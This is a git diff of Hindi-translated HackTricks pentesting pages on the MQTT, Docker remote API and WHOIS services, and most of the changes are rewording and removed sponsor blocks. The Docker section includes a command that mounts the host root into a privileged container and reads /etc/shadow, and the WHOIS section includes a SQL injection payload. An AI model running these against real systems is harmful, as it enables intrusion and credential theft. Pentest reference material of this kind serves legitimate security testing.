* PINGRESP (13): हार्टबीट संदेश का सर्वर का उत्तर।
|
||||
* DISCONNECT (14): कनेक्शन समाप्त करने के लिए क्लाइंट द्वारा प्रारंभ किया गया।
|
||||
* DISCONNECT (14): कनेक्शन समाप्त करने के लिए क्लाइंट द्वारा आरंभ किया गया।
|
||||
* दो मान, 0 और 15, आरक्षित के रूप में चिह्नित हैं और उनका उपयोग निषिद्ध है।
|
||||
|
||||
## शोडान
|
||||
## शोडन
|
||||
|
||||
* `port:1883 MQTT`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** संचालित खोज इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएं प्रदान करता है कि क्या कोई कंपनी या इसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -162,7 +138,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,30 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या इसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैंसमवेयर हमलों से लड़ना है जो जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप होते हैं।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Docker Basics
|
||||
|
||||
#### What is
|
||||
|
||||
Docker **कंटेनराइजेशन उद्योग** में **सामने का प्लेटफार्म** है, जो **निरंतर नवाचार** का नेतृत्व कर रहा है। यह अनुप्रयोगों के निर्माण और वितरण को आसान बनाता है, **पारंपरिक से लेकर भविष्यवादी** तक, और विभिन्न वातावरणों में उनके **सुरक्षित तैनाती** की सुनिश्चितता करता है।
|
||||
Docker **कंटेनराइजेशन उद्योग** में **अग्रणी प्लेटफॉर्म** है, जो **निरंतर नवाचार** का नेतृत्व करता है। यह **पारंपरिक से लेकर भविष्यवादी** अनुप्रयोगों के निर्माण और वितरण को सरल बनाता है, और विभिन्न वातावरणों में उनके **सुरक्षित तैनाती** की सुनिश्चितता करता है।
|
||||
|
||||
#### Basic docker architecture
|
||||
|
||||
* [**containerd**](http://containerd.io): यह कंटेनरों के लिए एक **मुख्य रनटाइम** है, जो एक कंटेनर के जीवनचक्र के व्यापक **प्रबंधन** का कार्य करता है। इसमें **छवि स्थानांतरण और भंडारण** को संभालना शामिल है, इसके अलावा कंटेनरों के **निष्पादन, निगरानी, और नेटवर्किंग** की देखरेख करना भी शामिल है। कंटेनरड पर **अधिक विस्तृत जानकारी** **आगे खोजी गई** है।
|
||||
* **container-shim** **हेडलैस कंटेनरों** के प्रबंधन में एक **मध्यस्थ** के रूप में महत्वपूर्ण भूमिका निभाता है, जो कंटेनरों के आरंभ होने के बाद **runc** से सहजता से कार्यभार संभालता है।
|
||||
* [**containerd**](http://containerd.io): यह कंटेनरों के लिए एक **मुख्य रनटाइम** है, जो एक कंटेनर के जीवनचक्र का व्यापक **प्रबंधन** करता है। इसमें **छवि स्थानांतरण और भंडारण** के साथ-साथ कंटेनरों के **निष्पादन, निगरानी, और नेटवर्किंग** का प्रबंधन शामिल है। कंटेनरड पर **अधिक विस्तृत जानकारी** **आगे खोजी गई है**।
|
||||
* **container-shim** **हेडलैस कंटेनरों** के प्रबंधन में एक महत्वपूर्ण भूमिका निभाता है, जो कंटेनरों के प्रारंभ होने के बाद **runc** से सहजता से कार्यभार संभालता है।
|
||||
* [**runc**](http://runc.io): इसके **हल्के और सार्वभौमिक कंटेनर रनटाइम** क्षमताओं के लिए प्रसिद्ध, runc **OCI मानक** के साथ संरेखित है। इसका उपयोग कंटेनरड द्वारा **कंटेनरों को प्रारंभ और प्रबंधित करने** के लिए **OCI दिशानिर्देशों** के अनुसार किया जाता है, जो मूल **libcontainer** से विकसित हुआ है।
|
||||
* [**grpc**](http://www.grpc.io) **containerd** और **docker-engine** के बीच **संचार को सुविधाजनक** बनाने के लिए आवश्यक है, जो **कुशल इंटरैक्शन** सुनिश्चित करता है।
|
||||
* [**OCI**](https://www.opencontainers.org) **रनटाइम और छवियों** के लिए **OCI विनिर्देशों** को बनाए रखने में महत्वपूर्ण है, नवीनतम Docker संस्करण **OCI छवि और रनटाइम** मानकों के साथ **अनुरूप** हैं।
|
||||
|
@ -68,11 +55,11 @@ docker system prune -a
|
|||
```
|
||||
#### Containerd
|
||||
|
||||
**Containerd** विशेष रूप से **Docker और Kubernetes** जैसे कंटेनर प्लेटफार्मों की आवश्यकताओं को पूरा करने के लिए विकसित किया गया था। इसका उद्देश्य विभिन्न ऑपरेटिंग सिस्टम, जैसे Linux, Windows, Solaris, और अधिक में कंटेनरों के निष्पादन को **सरल बनाना** है, ऑपरेटिंग सिस्टम-विशिष्ट कार्यक्षमता और सिस्टम कॉल को अमूर्त करके। Containerd का लक्ष्य केवल उन आवश्यक सुविधाओं को शामिल करना है जो इसके उपयोगकर्ताओं द्वारा आवश्यक हैं, अनावश्यक घटकों को छोड़ने का प्रयास करते हुए। हालांकि, इस लक्ष्य को पूरी तरह से प्राप्त करना चुनौतीपूर्ण माना जाता है।
|
||||
**Containerd** विशेष रूप से **Docker और Kubernetes** जैसे कंटेनर प्लेटफार्मों की आवश्यकताओं को पूरा करने के लिए विकसित किया गया था। इसका उद्देश्य विभिन्न ऑपरेटिंग सिस्टम, जैसे Linux, Windows, Solaris, और अधिक में कंटेनरों के निष्पादन को **सरल बनाना** है, ऑपरेटिंग सिस्टम-विशिष्ट कार्यक्षमता और सिस्टम कॉल को अमूर्त करके। Containerd का लक्ष्य केवल उन आवश्यक सुविधाओं को शामिल करना है जो इसके उपयोगकर्ताओं द्वारा आवश्यक हैं, अनावश्यक घटकों को छोड़ने का प्रयास करते हुए। हालाँकि, इस लक्ष्य को पूरी तरह से प्राप्त करना चुनौतीपूर्ण माना जाता है।
|
||||
|
||||
एक प्रमुख डिज़ाइन निर्णय यह है कि **Containerd नेटवर्किंग को संभालता नहीं है**। नेटवर्किंग को वितरित प्रणालियों में एक महत्वपूर्ण तत्व माना जाता है, जिसमें सॉफ़्टवेयर परिभाषित नेटवर्किंग (SDN) और सेवा खोज जैसी जटिलताएँ शामिल हैं जो एक प्लेटफ़ॉर्म से दूसरे प्लेटफ़ॉर्म में काफी भिन्न होती हैं। इसलिए, Containerd नेटवर्किंग पहलुओं को उन प्लेटफार्मों द्वारा प्रबंधित करने के लिए छोड़ देता है जिनका वह समर्थन करता है।
|
||||
|
||||
जबकि **Docker Containerd का उपयोग करता है** कंटेनरों को चलाने के लिए, यह ध्यान रखना महत्वपूर्ण है कि Containerd केवल Docker की कार्यक्षमताओं के एक उपसमुच्चय का समर्थन करता है। विशेष रूप से, Containerd में Docker में मौजूद नेटवर्क प्रबंधन क्षमताओं की कमी है और यह सीधे Docker स्वार्म बनाने का समर्थन नहीं करता है। यह भेद Containerd की एक कंटेनर रनटाइम वातावरण के रूप में केंद्रित भूमिका को उजागर करता है, जो इसके साथ एकीकृत प्लेटफार्मों को अधिक विशेषीकृत कार्यक्षमताएँ सौंपता है।
|
||||
जबकि **Docker कंटेनरों को चलाने के लिए Containerd का उपयोग करता है**, यह ध्यान रखना महत्वपूर्ण है कि Containerd केवल Docker की कार्यक्षमताओं के एक उपसमुच्चय का समर्थन करता है। विशेष रूप से, Containerd में Docker में मौजूद नेटवर्क प्रबंधन क्षमताओं की कमी है और यह सीधे Docker स्वार्म बनाने का समर्थन नहीं करता है। यह भेद Containerd की एक कंटेनर रनटाइम वातावरण के रूप में केंद्रित भूमिका को उजागर करता है, जो इसके साथ एकीकृत प्लेटफार्मों को अधिक विशेषीकृत कार्यक्षमताएँ सौंपता है।
|
||||
```bash
|
||||
#Containerd CLI
|
||||
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
||||
|
@ -92,18 +79,18 @@ ctr container delete <containerName>
|
|||
|
||||
**Podman** एक ओपन-सोर्स कंटेनर इंजन है जो [Open Container Initiative (OCI) मानकों](https://github.com/opencontainers) का पालन करता है, जिसे Red Hat द्वारा विकसित और बनाए रखा गया है। यह **daemonless architecture** और **rootless containers** के समर्थन के साथ Docker से कई विशिष्ट विशेषताओं के साथ अलग है, जिससे उपयोगकर्ता बिना रूट विशेषाधिकार के कंटेनर चला सकते हैं।
|
||||
|
||||
Podman को Docker के API के साथ संगत बनाने के लिए डिज़ाइन किया गया है, जिससे Docker CLI कमांड का उपयोग करना संभव होता है। यह संगतता इसके पारिस्थितिकी तंत्र तक फैली हुई है, जिसमें **Buildah** जैसे उपकरण शामिल हैं जो कंटेनर छवियों को बनाने के लिए और **Skopeo** छवि संचालन जैसे पुश, पुल और निरीक्षण के लिए हैं। इन उपकरणों के बारे में अधिक जानकारी उनके [GitHub पृष्ठ](https://github.com/containers/buildah/tree/master/docs/containertools) पर मिल सकती है।
|
||||
Podman को Docker के API के साथ संगत बनाने के लिए डिज़ाइन किया गया है, जिससे Docker CLI कमांड का उपयोग करना संभव हो जाता है। यह संगतता इसके पारिस्थितिकी तंत्र तक फैली हुई है, जिसमें **Buildah** जैसे उपकरण शामिल हैं जो कंटेनर छवियों को बनाने के लिए और **Skopeo** छवि संचालन जैसे पुश, पुल और निरीक्षण के लिए हैं। इन उपकरणों के बारे में अधिक जानकारी उनके [GitHub पृष्ठ](https://github.com/containers/buildah/tree/master/docs/containertools) पर मिल सकती है।
|
||||
|
||||
**मुख्य अंतर**
|
||||
|
||||
* **Architecture**: Docker के क्लाइंट-सर्वर मॉडल के विपरीत जिसमें एक बैकग्राउंड डेमन होता है, Podman बिना डेमन के काम करता है। इस डिज़ाइन का अर्थ है कि कंटेनर उन उपयोगकर्ता के विशेषाधिकारों के साथ चलते हैं जो उन्हें शुरू करते हैं, जिससे रूट एक्सेस की आवश्यकता को समाप्त करके सुरक्षा बढ़ती है।
|
||||
* **Systemd Integration**: Podman **systemd** के साथ कंटेनरों का प्रबंधन करने के लिए एकीकृत होता है, जिससे systemd इकाइयों के माध्यम से कंटेनर प्रबंधन संभव होता है। यह Docker के उपयोग के विपरीत है, जो मुख्य रूप से Docker डेमन प्रक्रिया के प्रबंधन के लिए systemd का उपयोग करता है।
|
||||
* **आर्किटेक्चर**: Docker के क्लाइंट-सर्वर मॉडल के विपरीत जिसमें एक बैकग्राउंड डेमन होता है, Podman बिना डेमन के काम करता है। इस डिज़ाइन का अर्थ है कि कंटेनर उन विशेषाधिकारों के साथ चलते हैं जो उपयोगकर्ता ने शुरू किए हैं, जिससे रूट एक्सेस की आवश्यकता को समाप्त करके सुरक्षा बढ़ती है।
|
||||
* **Systemd एकीकरण**: Podman कंटेनरों को प्रबंधित करने के लिए **systemd** के साथ एकीकृत होता है, जिससे systemd इकाइयों के माध्यम से कंटेनर प्रबंधन संभव होता है। यह Docker के उपयोग के विपरीत है, जो मुख्य रूप से Docker डेमन प्रक्रिया को प्रबंधित करने के लिए systemd का उपयोग करता है।
|
||||
* **Rootless Containers**: Podman की एक महत्वपूर्ण विशेषता यह है कि यह प्रारंभ करने वाले उपयोगकर्ता के विशेषाधिकारों के तहत कंटेनर चलाने की क्षमता रखता है। यह दृष्टिकोण कंटेनर उल्लंघनों से जुड़े जोखिमों को कम करता है, यह सुनिश्चित करते हुए कि हमलावर केवल समझौता किए गए उपयोगकर्ता के विशेषाधिकार प्राप्त करते हैं, न कि रूट एक्सेस।
|
||||
|
||||
Podman का दृष्टिकोण Docker के लिए एक सुरक्षित और लचीला विकल्प प्रदान करता है, जो उपयोगकर्ता विशेषाधिकार प्रबंधन और मौजूदा Docker कार्यप्रवाहों के साथ संगतता पर जोर देता है।
|
||||
|
||||
{% hint style="info" %}
|
||||
ध्यान दें कि Podman का लक्ष्य Docker के समान API का समर्थन करना है, आप Podman के साथ वही कमांड का उपयोग कर सकते हैं जो Docker के साथ हैं जैसे:
|
||||
ध्यान दें कि चूंकि podman का लक्ष्य docker के समान API का समर्थन करना है, आप podman के साथ वही कमांड का उपयोग कर सकते हैं जो docker के साथ हैं जैसे:
|
||||
```bash
|
||||
podman --version
|
||||
podman info
|
||||
|
@ -114,7 +101,7 @@ podman ls
|
|||
|
||||
### मूल जानकारी
|
||||
|
||||
Remote API डिफ़ॉल्ट रूप से 2375 पोर्ट पर चल रहा है जब सक्षम किया जाता है। सेवा डिफ़ॉल्ट रूप से प्रमाणीकरण की आवश्यकता नहीं होगी, जिससे एक हमलावर को एक विशेषाधिकार प्राप्त डॉकर कंटेनर शुरू करने की अनुमति मिलती है। Remote API का उपयोग करके कोई भी होस्ट / (रूट निर्देशिका) को कंटेनर से जोड़ सकता है और होस्ट के वातावरण की फ़ाइलों को पढ़/लिख सकता है।
|
||||
Remote API डिफ़ॉल्ट रूप से 2375 पोर्ट पर चल रहा है जब इसे सक्षम किया जाता है। सेवा डिफ़ॉल्ट रूप से प्रमाणीकरण की आवश्यकता नहीं होगी, जिससे एक हमलावर को एक विशेषाधिकार प्राप्त docker कंटेनर शुरू करने की अनुमति मिलती है। Remote API का उपयोग करके कोई भी होस्ट / (रूट निर्देशिका) को कंटेनर से जोड़ सकता है और होस्ट के वातावरण की फ़ाइलों को पढ़/लिख सकता है।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट:** 2375
|
||||
```
|
||||
|
@ -161,7 +148,7 @@ docker-init:
|
|||
Version: 0.18.0
|
||||
GitCommit: fec3683
|
||||
```
|
||||
यदि आप **`docker` कमांड के साथ दूरस्थ docker API से संपर्क कर सकते हैं** तो आप **किसी भी** **docker** [**कमांड को निष्पादित**](2375-pentesting-docker.md#basic-commands) कर सकते हैं ताकि सेवा के साथ बातचीत की जा सके।
|
||||
यदि आप **`docker` कमांड के साथ रिमोट डॉकर API से संपर्क कर सकते हैं** तो आप **सेवा के साथ बातचीत करने के लिए** किसी भी **डॉकर** [**कमांड का उपयोग कर सकते हैं**](2375-pentesting-docker.md#basic-commands)।
|
||||
|
||||
{% hint style="info" %}
|
||||
आप `export DOCKER_HOST="tcp://localhost:2375"` कर सकते हैं और **`-H`** पैरामीटर का उपयोग करने से **बच सकते हैं**।
|
||||
|
@ -212,13 +199,13 @@ nmap -sV --script "docker-*" -p <PORT> <IP>
|
|||
```
|
||||
### Compromising
|
||||
|
||||
In the following page you can find ways to **docker कंटेनर से बाहर निकलने के तरीके**:
|
||||
In the following page you can find ways to **escape from a docker container**:
|
||||
|
||||
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
|
||||
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
इसका दुरुपयोग करके, आप एक कंटेनर से बाहर निकल सकते हैं, आप दूरस्थ मशीन में एक कमजोर कंटेनर चला सकते हैं, इससे बाहर निकल सकते हैं, और मशीन को समझौता कर सकते हैं:
|
||||
इसका दुरुपयोग करके, एक कंटेनर से बाहर निकलना संभव है, आप दूरस्थ मशीन में एक कमजोर कंटेनर चला सकते हैं, इससे बाहर निकल सकते हैं, और मशीन को समझौता कर सकते हैं:
|
||||
```bash
|
||||
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
|
||||
cat /mnt/etc/shadow
|
||||
|
@ -254,7 +241,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
* `./docker-bench-security.sh`
|
||||
* आप अपने वर्तमान docker स्थापना की जांच करने के लिए उपकरण [https://github.com/kost/dockscan](https://github.com/kost/dockscan) का उपयोग कर सकते हैं।
|
||||
* `dockscan -v unix:///var/run/docker.sock`
|
||||
* आप उपकरण [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) का उपयोग कर सकते हैं ताकि यह पता चल सके कि एक कंटेनर को विभिन्न सुरक्षा विकल्पों के साथ चलाने पर क्या विशेषाधिकार मिलेंगे। यह कुछ सुरक्षा विकल्पों का उपयोग करके एक कंटेनर चलाने के प्रभावों को जानने के लिए उपयोगी है:
|
||||
* आप उपकरण [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) का उपयोग कर सकते हैं यह जानने के लिए कि एक कंटेनर को विभिन्न सुरक्षा विकल्पों के साथ चलाने पर क्या विशेषाधिकार मिलेंगे। यह कुछ सुरक्षा विकल्पों का उपयोग करके एक कंटेनर चलाने के प्रभावों को जानने के लिए उपयोगी है:
|
||||
* `docker run --rm -it r.j3ss.co/amicontained`
|
||||
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
|
||||
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
|
||||
|
@ -267,29 +254,29 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
|
||||
#### Securing Dockerfiles
|
||||
|
||||
* आप उपकरण [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) का उपयोग कर सकते हैं ताकि **अपने Dockerfile की जांच करें** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजें। प्रत्येक गलत कॉन्फ़िगरेशन को एक ID दी जाएगी, आप यहाँ [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) पर देख सकते हैं कि उन्हें कैसे ठीक किया जाए।
|
||||
* आप उपकरण [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) का उपयोग कर सकते हैं **अपने Dockerfile की जांच करने** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजने के लिए। प्रत्येक गलत कॉन्फ़िगरेशन को एक ID दी जाएगी, आप यहाँ [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) पर देख सकते हैं कि उन्हें कैसे ठीक किया जाए।
|
||||
* `dockerfilelinter -f Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (176).png>)
|
||||
|
||||
* आप उपकरण [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) का उपयोग कर सकते हैं ताकि **अपने Dockerfile की जांच करें** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजें।
|
||||
* आप उपकरण [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) का उपयोग कर सकते हैं **अपने Dockerfile की जांच करने** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजने के लिए।
|
||||
* `dockerfilelint Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (212).png>)
|
||||
|
||||
* आप उपकरण [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) का उपयोग कर सकते हैं ताकि **अपने Dockerfile की जांच करें** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजें।
|
||||
* आप उपकरण [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) का उपयोग कर सकते हैं **अपने Dockerfile की जांच करने** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजने के लिए।
|
||||
* `dockerlint Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (71).png>)
|
||||
|
||||
* आप उपकरण [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) का उपयोग कर सकते हैं ताकि **अपने Dockerfile की जांच करें** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजें।
|
||||
* आप उपकरण [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) का उपयोग कर सकते हैं **अपने Dockerfile की जांच करने** और सभी प्रकार की गलत कॉन्फ़िगरेशन खोजने के लिए।
|
||||
* `hadolint Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (501).png>)
|
||||
|
||||
#### Logging Suspicious activity
|
||||
|
||||
* आप उपकरण [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) का उपयोग कर सकते हैं ताकि **चल रहे कंटेनरों में संदिग्ध व्यवहार का पता लगाया जा सके**।
|
||||
* आप उपकरण [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) का उपयोग कर सकते हैं **चल रहे कंटेनरों में संदिग्ध व्यवहार का पता लगाने** के लिए।
|
||||
* निम्नलिखित खंड में ध्यान दें कि **Falco एक कर्नेल मॉड्यूल संकलित करता है और इसे सम्मिलित करता है**। इसके बाद, यह नियमों को लोड करता है और **संदिग्ध गतिविधियों को लॉग करना शुरू करता है**। इस मामले में, इसने 2 विशेषाधिकार प्राप्त कंटेनरों का पता लगाया, जिनमें से 1 संवेदनशील माउंट के साथ था, और कुछ सेकंड बाद इसने देखा कि एक शेल एक कंटेनर के अंदर खोला गया था।
|
||||
```bash
|
||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||
|
@ -340,17 +327,6 @@ falco-probe found and loaded in dkms
|
|||
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -361,8 +337,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**WHOIS** प्रोटोकॉल विभिन्न इंटरनेट संसाधनों के रजिस्ट्रेंट्स या धारकों के बारे में पूछताछ करने के लिए एक मानक विधि के रूप में कार्य करता है, जो विशिष्ट डेटाबेस के माध्यम से होता है। ये संसाधन डोमेन नाम, आईपी पते के ब्लॉक, और स्वायत्त प्रणालियों सहित हैं। इसके अलावा, प्रोटोकॉल व्यापक जानकारी तक पहुँचने में भी उपयोग किया जाता है।
|
||||
**WHOIS** प्रोटोकॉल विभिन्न इंटरनेट संसाधनों के रजिस्ट्रेंट्स या धारकों के बारे में पूछताछ करने के लिए एक मानक विधि के रूप में कार्य करता है, जो विशिष्ट डेटाबेस के माध्यम से होता है। ये संसाधन डोमेन नाम, आईपी पते के ब्लॉकों और स्वायत्त प्रणालियों सहित होते हैं। इसके अलावा, प्रोटोकॉल व्यापक जानकारी तक पहुँचने में भी उपयोग किया जाता है।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट:** 43
|
||||
```
|
||||
|
@ -43,18 +35,12 @@ echo "domain.ltd" | nc -vn <HOST> <PORT>
|
|||
|
||||
![](<../.gitbook/assets/image (301).png>)
|
||||
|
||||
इसके अलावा, WHOIS सेवा को हमेशा जानकारी को संग्रहीत और निकालने के लिए एक **डेटाबेस** का उपयोग करने की आवश्यकता होती है। इसलिए, उपयोगकर्ता द्वारा प्रदान की गई कुछ जानकारी से डेटाबेस को **क्वेरी** करते समय एक संभावित **SQLInjection** मौजूद हो सकता है। उदाहरण के लिए: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` करने पर आप **डेटाबेस** में संग्रहीत **सभी** **जानकारी** को **निकालने** में सक्षम हो सकते हैं।
|
||||
इसके अलावा, WHOIS सेवा को हमेशा जानकारी को स्टोर और निकालने के लिए एक **database** का उपयोग करने की आवश्यकता होती है। इसलिए, उपयोगकर्ता द्वारा प्रदान की गई कुछ जानकारी से डेटाबेस को **querying** करते समय एक संभावित **SQLInjection** मौजूद हो सकता है। उदाहरण के लिए: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` करने पर आप **extract all** **information** जो डेटाबेस में सहेजी गई है, प्राप्त कर सकते हैं।
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:43 whois`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
|
@ -84,8 +70,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
|
||||
